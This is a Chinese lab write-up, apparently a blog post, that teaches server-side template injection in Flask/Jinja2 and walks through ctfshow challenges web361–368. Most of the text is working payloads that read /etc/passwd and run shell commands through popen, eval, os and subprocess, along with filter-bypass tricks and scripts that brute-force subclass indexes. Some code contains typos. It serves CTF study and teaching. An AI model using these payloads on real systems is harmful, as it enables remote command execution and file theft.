实验室任务十

实验室第十周任务

一、SSTI(服务器模板注入)

1、SSTI的概念

SSTI(Server-Side Template Injection)从名字可以看出即是服务器端模板注入。比如python的flask、php的thinkphp、java的spring等框架一般都采用MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。

SSTI和SQL注入原理差不多,都是因为对输入的字符串控制不足,把输入的字符串当成命令执行。

SSTI就是服务器端模板注入(Server-Side Template Injection),SSTI也是注入类的漏洞,其成因其实是 可以类比于sql注入的。

sql注入是从用户获得一个输入,然后后端脚本语言进行数据库查询,所以可以利用输入来拼接我们想要 的sql语句,当然现在的sql注入 防范做得已经很好了,然而随之而来的是更多的漏洞。

SSTI也是获取了一个输入,然后在后端的渲染处理上进行了语句的拼接,然后执行。当然还是和sql注入 有所不同的,SSTI利用的是现在的网站模板引擎(下面会提到),主要针对python、php、java的一些网站 处理框架,比如Python的jinja2 mako tornado django,php的smarty twig,java的jade velocity。当 这些框架对运用渲染函数生成html的时候会出现SSTI的问题。

现在网上提起的比较多的是Python的网站。

来看一个简单的例子:(写该代码前需要在pycharm上安装flask)

from flask import Flask
    from flask import render_template
    from flask import request
    from flask import render_template_string
    app = Flask(__name__)
    @app.route('/test',methods=['GET', 'POST'])
    def test():
        template = '''
            <div class="center-content error">
                <h1>Oops! That page doesn't exist.</h1>
                <h3>%s</h3>
            </div>
        ''' %(request.url)
return render_template_string(template)
    if __name__ == '__main__':
         app.debug = True
         app.run()
​

这段代码是一个典型的SSTI漏洞示例,漏洞成因在于:render_template_string函数在渲染模板的时候使用了%s来动态的替换字符串,我们知道Flask 中使用了Jinja2 作为模板渲染引擎,{{}}在Jinja2中作为 变量包裹标识符,Jinja2在渲染的时候会把{{}}包裹的内容当做变量解析替换。比如{{1+1}}会被解析成2。

2、SSTI引发的真正原因

render_template渲染函数的问题。ssti服务端模板注入,ssti主要为python的一些框架 jinja2 mako tornado django,PHP框架smarty twig,java框架jade velocity等等使用了渲染函数时,由于代码不规 范或信任了用户输入而导致了服务端模板注入,模板渲染其实并没有漏洞,主要是程序员对代码不规范 不严谨造成了模板注入漏洞,造成模板可控。

3、render_template渲染函数是什么

就是把HTML涉及的页面与用户数据分离开,这样方便展示和管理。当用户输入自己的数据信息,HTML 页面可以根据用户自身的信息来展示页面,因此才有了这个函数的使用。

渲染函数在渲染的时候,往往对用户输入的变量不做渲染,即:{undefined{}}在Jinja2中作为变量包裹 标识符,Jinja2在渲染的时候会把{undefined{}}包裹的内容当做变量解析替换。比如{undefined{1+1}} 会被解析成2。因此才有了现在的模板注入漏洞。往往变量我们使用{undefined{这里是内容}}。正因为 {undefined{}}包裹的东西会被解析,因此我们就可以实现类似于SQL注入的漏洞。

4、模板引擎

首先我们先讲解一下什么是模板引擎,为什么需要模板。

模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这大大提高了开发效率,良好的设计也使代码重用变得更加容易。但是往往新的开发都会导致一些安全问题,虽然模板引擎会提供沙箱机制,但同样存在沙箱逃逸技术来绕过。

模板只是一种提供给程序来解析的一种语法,换句话说,模板好是用于从数据(变量)到实际的视觉表现(HTML)这项工作的一种实现手段,而这种手段不论在前端还是后端都有应用。

通俗点理解:拿到数据,塞到模板里,然后让渲染引擎将塞进去的东西生成html文本,返回给浏览器,这样做的好处是展示数据快,大大提升效率。

后端渲染:

浏览器会直接接收到经过服务器计算之后的呈现给用户的最终的HTML字符串,计算就是服 务器后端经过解析服务器端的模板来完成的,后端渲染的好处是对前端浏览器的压力较小,主要任务在 服务器端就已经完成。

前端渲染:

前端渲染相反,是浏览器从服务器得到信息,可能是json等数据包封装的数据,也可能是 html代码,他都是由浏览器前端来解析渲染成html的人们可视化的代码而呈现在用户面前,好处是对于 服务器后端压力较小,主要渲染在用户的客户端完成。

让我们用例子来简析模板渲染。

<html>
<div>{$what}</div>
</html>

我们想要呈现在每个用户面前自己的名字。但是{$what}我们不知道用户名字是什么,用一些url或者 cookie包含的信息,渲染到what变量里,呈现给用户的为

<html>
<div>张三</div>
</html>

当然这只是最简单的示例,一般来说,至少会提供分支,迭代。还有一些内置函数。

5、检测是否存在SSTI

在url后面,或是参数中添加 {{ 6*6 }} ,查看返回的页面中是否有36

6、注入的思想

用函数不断调用我们要使用的命令如:file、read、open、ls等等命令,我们用这些来读取写入配置文件

7、继承关系和魔术方法

继承关系

在程序中,继承描述的是多个类之间的所属关系。

如果一个类A里面的属性和方法可以复用,则可以通过继承的方式,传递到类B里。那么类A就是基类,也叫做父类;类B就是派生类,也叫做子类。

子类可以调用父类下的其他子类。

Python flask脚本没有办法直接执行python指令,所以就需要通过父类来找到其他的子类,让其他子类帮助执行指令。

object是父子关系的顶端,所有的数据类型最终的父类都是object。

例子如下:

继承关系:
class A:pass         //父类
class B(A):pass      //B是A的一个子类
class C(B):pass      //C是B的一个子类
class D(B):pass      //D是B的另一个子类
c = C()              //将C类变为一个对象
​
1.魔术方法:print(c.__class__)
结果:   <class'__main__.C'>                                 //当前类C
2.魔术方法:print(c.__class__.__bases__)
结果:   <class'__main__.B'>                                 //当前类B
3.魔术方法:print(c.__class__.__bases__.__bases__)
结果:   <class'__main__.A'>                                 //当前类A
4.魔术方法:print(c.__class__.__bases__.__bases__.__bases__)
结果:   <class'object'>                                     //顶端父类
5.魔术方法:print(c.__class__.__mro__)
结果:   <(class'__main__.C'><class'__main__.B'><class'__main__.A'><class'object'>)     //罗列所有父类关系
6.魔术方法:print(c.__class__.__mro__[1].__subclasses__())      //查看B类下所有子类 (0对应类C,1对应类B......)
结果:   [<clsss'__main__.C'>,<class'__main__.D'>]           //类B下的所有子类(数组形式)     
7.魔术方法:print(c.__class__.__bases__.__subclasses__()[1])
结果:   <class'__main__.D'>                                 //调用子类D
魔术方法
__class__            //查找当前类型的所属关系
__base__             //沿着父子类的关系往上一个走
__mro__              //查找当前类对象的所有继承类
__subclasses__()     //查找父类下的所有子类
__init__             //查看类是否重载,重载是指程序在运行时就已经加载好了这个模块到内存中,如果出现wrapper字眼,说明没有重载
__globals__          //函数会以字典的形式返回当前对象的全部全局变量

8、SSTI常用注入模块利用

1、文件读取

以下为一个例子,要根据具体情况改变要查询的内容:

1.查找子类_frozen_importlib_external.FileLoader:
<class'_frozen_importlib_external.FileLoader'>
2.FileLoader的利用:
["get_data"](0,"/etc/passwd")                  //调用get_data方法,传入参数0和文件路径{{".__class__.__mro__[1].__subclass__()[79]["get_data"](0,"/etc/passwd")}}
3.读取配置文件下的FLAG:
{{url_for.__globals__['current_app'].config.FLAG}}                                                           {{get_flashed_messages.__globals__['current_app'].config.FLAG}}        
python脚本
                             POST提交“name"的值,通过for循环查找所需字符串
import requests
url = input('请输入URL链接:')
for i in range(500):
   data = {"name":"{{().__class__.__bases__.__subclasses__()["+str(i)+"]}}"}//name是变量参数,要根据实际情况而改动
   try:
      respnse = requests.post(url,data=data)
      #print(response.txt)
      if response.status_code == 200:
          if'_frozen_importlib_external.FileLoader'in response.text:
                print(i)
   except:
      pass  

2、内建函数eval执行命令

内建函数:python在执行脚本时自动加载的函数

以下为一个例子,要根据具体情况改变要查询的内容:

{{".__class__.__bases__[0].__subclasses__()[65].__init__.__globals__['__builtins__']['eval']('__import__('os').popen("cat /etc/passwd").read()')}}
​
​
__builtins__提供对Python的所有“内置”标识符的直接访问
eval()计算字符表达式的值
__import__加载os模块
popen()执行一个shell以运行命令来开启一个进程,执行cat /etc/passwd
python脚本查看可利用内建函数eval的模块:
import requests
url = input('请输入URL链接:')
for i in range(500):
   data = {"name":"{{().__class__.__bases__.__subclasses__(["+str(i)+"].__init__.__globals__['__builtins__']}}"}
   try:
      respnse = requests.post(url,data=data)
      #print(response.text)
      if response.status_code == 200:
          if'eval'in response.text:
                print(i)
   except:
      pass  

3、os模块执行命令

以下为一个例子,要根据具体情况改变要查询的内容:

在其他函数中直接调用os模块:
1.通过config调用os:
{{config.__class__.__init__.globals__['os'].popen('whoami').read()}}
2.用过url_for调用os:
{{url_for.__globals__.os.popen('whoami').read()}}
3.在已加载os模块的子类里直接调用os模块:
{{.__class__.__bases__[0].__subclass__()[199].__init__.__globlas__['os'].popen("ls -l/opt").read()}}
python脚本查找已经加载os模块的子类
import requests
url = input('请输入URL链接:')
for i in range(500):
   data = {"name":"{{().__class__.__basess__.__subclasses__()["+str(i)+"].__init__.__globals__}}"}
   try:
      respnse = requests.post(url,data=data)
      #print(response.text)
      if response.status_code == 200:
          if'os.py'in response.text:
                print(i)
   except:
      pass  

4、importlib类执行命令

可以加载第三方库,使用load_module加载os

以下为一个例子,要根据具体情况改变要查询的内容:

{{[].__class__.__bases__.__subclasses__()[69]["load_module"]("os")["popen"]("ls -l/opt").read()}}
python脚本查找_frozen_importlib.Builtinlmporter
import requests
url = input('请输入URL链接:')
for i in range(500):
   data = {"name":"{{().__class__.__bases__.__subclasses__()["+str(i)+"]}}"}
   try:
      respnse = requests.post(url,data=data)
      #print(response.text)
      if response.status_code == 200:
          if'_frozen_importlib.Builtinlmporter'in response.text:
                print(i)
   except:
      pass   

5、linecache函数执行命令

linecache函数可用于读取任意一个文件的某一行,而这个函数也引入了os模块,所以我们也可以利用这个linecache函数去执行命令

{{[].__class__.__bases__.__subclasses__()[1].__init__.__globals__['linecache']['os'].popen("ls -l/").read()}}
python脚本查找linecache
import requests
url = input('请输入URL链接:')
for i in range(500):
   data = {"name":"{{().__class__.__bases__[0].__subclasses__()["+str(i)+"].__init__.__globals__}}"}
   try:
      respnse = requests.post(url,data=data)
      #print(response.text)
      if response.status_code == 200:
          if'linecache'in response.text:
                print(i)
   except:
      pass 

6、subprocess.Popen类执行命令
{{[].__class__.__base__.__subclasses__()[200]('ls/',shell=True,stdout=-1).communicate()[0].strip}}
python脚本查找subprocess.Popen
import requests
url = input('请输入URL链接:')
for i in range(500):
   data = {"name":"{{().__class__.__bases__[0].__subclasses__()["+str(i)+"]}}"}
   try:
      respnse = requests.post(url,data=data)
      #print(response.text)
      if response.status_code == 200:
          if'subprocess.Popen'in response.text:
                print(i)
   except:
      pass 

9、绕过方法

1、绕过过滤双大括号

{% %}是属于flask的控制语句,且以{% end... %}结尾,可以通过在控制语句定义变量或者写循环,判断。

2、无回显ssti

1.反弹shell

通过rec反弹一个shell出来绕过无回显的页面

2.带外注入

通过requestbin或dnslog的方式将信息传到外界

3.纯盲注

3、绕过过滤中括号

getitem()是python的一个魔术方法

对字典使用时,传入字符串,返回字典相应键所对应的

当对列表使用时,传入整数返回列表对应索引的值

4、绕过单双引号过滤

request在flask中可以访问基于HTTP请求传递的所有信息

此request并非python的函数,而是在flask内部的函数

request.args.key               获取get传入的key的值
request.values.x1              所有参数
request.cookies                获取cookies传入参数
request.headers                获取请求头请求参数
request.form.key               获取post传入参数
request.data                   获取post传入参数
request.json                   获取post传入json参数
5、过滤器绕过下划线过滤

flask常用过滤器:

length()                        获取一个序列或者字典的长度并将其返回
int()                           将值转换为int类型
float()                         将值转换为float类型
lower()                         将字符串转化为小写
upper()                         将字符串转化为大写
reverse()                       反转字符串
replace(value,old,new)          将value中的old替换为new
list()                          将变量转换为列表类型
string()                        将变量转换成字符串类型
join()                          将一个序列中的参数值拼接成字符串,通常有python内置的dict()配合使用
attr()                          获取对象的属性
6、中括号绕过点过滤

python语法除了可以使用'.'在访问对象属性外,还可以使用'[]'。

7、关键字过滤

过滤了"class","arg","from","value","int","global"等关键字

以"class"为例:

1.字符编码
2.最简单的拼接“+”:'__cl'+'ass__'
3.使用jinja2中的'~'进行拼接:{%set a="__cla%"}{%set b="ss__"%}
4.使用过滤器(reverse反转,replace替换,join拼接等)
8、获取config文件

二、ctfshow web入门 ssti

web-361(无过滤)

本关提示”名字就是题目“,并且本关一开始并没有给参数名称,所以根据提示我们可以猜想参数名称是name,来尝试一下

输入?name=word后发现页面返回了word,说明参数名称是name正确

之后来判断是否存在ssti,输入:

?name={{6*6}}

发现页面返回的是36而不是{{6*6}},说明存在ssti漏洞

接下来就是ssti常规流程了

获取内置类所对应的类:

?name={{''.__class__}}

获取object基类

?name={{''.__class__.__base__}}

获取所有子类

?name={{''.__class__.__base__.__subclasses__()}}

我们以子类是否存在popen方法为例: 脚本使用requests模块请求页面,从页面的源代码观察是否含有’popen’

在pycharm创建脚本:

import requests
​
for num in range(500):
    try:
        url = "http://088a81a3-eb70-458a-8289-303fa161093b.challenge.ctf.show/?name={{''.__class__.__base__.__subclasses__()[" + str(
            num) + "].__init__.__globals__['popen']}}"
        res = requests.get(url=url).text
        if 'popen' in res:
            print(num)
    except:
        pass
​

成功得到索引值

接下来执行shell命令

?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls /').read()}}

发现其中有一个名为flag的文件,那么我们查询这个flag文件即可。

?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}

得到flag

当然不止这一种payload:

#寻找 popen 函数执行命令
?name={{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}} 
​
#寻找内建函数 eval 执行命令
?name={{a.__init__.__globals__['__builtins__'].eval('__import__("os").popen("cat /flag").read()')}}
​
#寻找内建函数 eval 执行命令
?name={{''.__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /flag").read()')}}
​
#寻找 os 模块执行命令
?name={{ config.__class__.__init__.__globals__['os'].popen('cat ../flag').read() }}
​
?name={% for i in ''.__class__.__mro__[1].__subclasses__() %}{% if i.__name__=='_wrap_close' %}{% print i.__init__.__globals__['popen']('ls').read() %}{% endif %}{% endfor %}
​
?name={% for i in ''.__class__.__mro__[1].__subclasses__() %}{% if i.__name__=='_wrap_close' %}{% print i.__init__.__globals__['popen']('ls').read() %}{% endif %}{% endfor %}

web-362(数字过滤)

随便输入数字后发现页面返回值有问题,推测本题将数字过滤掉了

对于数字过滤,我们可以尝试全角数字绕过:

全角:是一种电脑字符,是指一个全角字符占用两个标准字符(或两个半角字符)的位置。全角占两个字节。

下面是转换代码:

def half2full(half):  
    full = ''  
    for ch in half:  
        if ord(ch) in range(33, 127):  
            ch = chr(ord(ch) + 0xfee0)  
        elif ord(ch) == 32:  
            ch = chr(0x3000)  
        else:  
            pass  
        full += ch  
    return full  
t=''
s="0123456789"
for i in s:
    t+='\''+half2full(i)+'\','
print(t)
​
得到全角数字:
'0','1','2','3','4','5','6','7','8','9'

之后的步骤就和web-361一样了,只需要将最后通过脚本得到的索引值更改为对应的全角数字即可。

?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}

web-363(单双引号过滤)

本关过滤了单双引号,我们常用的方式是request绕过:

我们这里使用request.args.key

(这里的key可以理解为自定义的变量,名字可以任意设置,所以这段指令的意思就是将key中的GET传参显示出来,通过这样的方式便可以直接输出GET传参,从而实现绕过)

(当然其他的request指令也可以,但要注意输出的形式是否正确。如:request.form.key对应的是POST传参;request.cookies对应的是cookies)

通过构造带参数的url,配合request获取参数内容来组成想要提交的指令,从而绕过单双引号的使用。

常规的payload为:

?name={{config.__class__.__init__.__globals__['os'].popen('cat ../flag').read()}}

我们将带有单双引号的内容替换为request.args.GET参数名称即可,如下:

?name={{config.__class__.__init__.__globals__[request.args.a].popen(request.args.b).read()}}&a=os&b=cat 

web-364(args过滤)

本关过滤了args,那么我们就可以使用request.values.a(可以接收所有形式的参数)或者request.cookies.a(接收cookie)

所以构造payload:

?name={{config.__class__.__init__.__globals__[request.values.a].popen(request.values.b).read()}}&a=os&b=cat ../flag

web-365(方括号过滤)

利用fuzz字典可以爆出本关共过滤了四种字符:'' "" [] args

首先单双引号和args上面已经讲过,我们可以用request.value.a或者request.cookies.a来绕过。

接下来我们就要考虑如何绕过[]了:引入getitem调用字典的键值,比如说a['b']就可以用a.getitem('b')来表示,成功绕过[]。

所以我们可以构造payload:

?name={{config.__class__.__init__.__globals__.__getitem__(request.values.a).popen(request.values.b).read()}}&a=os&b=cat ../flag

web-366(下划线绕过)

利用fuzz字典可以爆出本关共过滤了五种字符:'' "" [] args _

前四种字符的绕过和前置关卡一样,这里不过多赘述

如何绕过_:我们可以使用flask框架自带的attr过滤器。

attr用于获取变量,比如:
""|attr("__class__")
相当于
"".__class__

因此可以构建payload:

?name={{config|attr(request.values.a)|attr(request.values.b)|attr(request.values.c)|attr(request.values.d)(request.values.e).popen(request.values.f).read()}}&a=__class__&b=__init__&c=__globals__&d=__getitem__&e=os&f=cat ../flag

但是不知道为什么,这个payload得不到flag......

我们换一种方法:

lipsum.__globals__中含有os模块

那我们可以构造payload:

?name={{(lipsum.__globals__).os.popen("cat ../flag").read()}} 

将绕过方法加进去:

?name={{(lipsum|attr(request.values.a)).os.popen(request.values.b).read()}}&a=__globals__&b=cat ../flag

web-367(os过滤)

利用fuzz字典可以爆出本关共过滤了六种字符:'' "" [] args _ os

基本和上一题的思路一致,只要将os更改为request即可

?name={{(lipsum|attr(request.values.a))|attr(request.values.b)
.popen(request.values.c).read()}}&a=__globals__&b=os&c=cat ../flag

这里不知道为什么不能用|attr(request.values.b)代替.os,查教程也只说这里要用.get(request)。

?name={{(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}&a=__globals__&b=os&c=cat ../flag

web-368(花括号过滤)

利用fuzz字典可以爆出本关共过滤了七种字符:'' "" [] args _ os {}

如何绕过{}:用{%print(......)%}绕过

?name={%print((lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read())%}&a=__globals__&b=os&c=cat ../flag

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值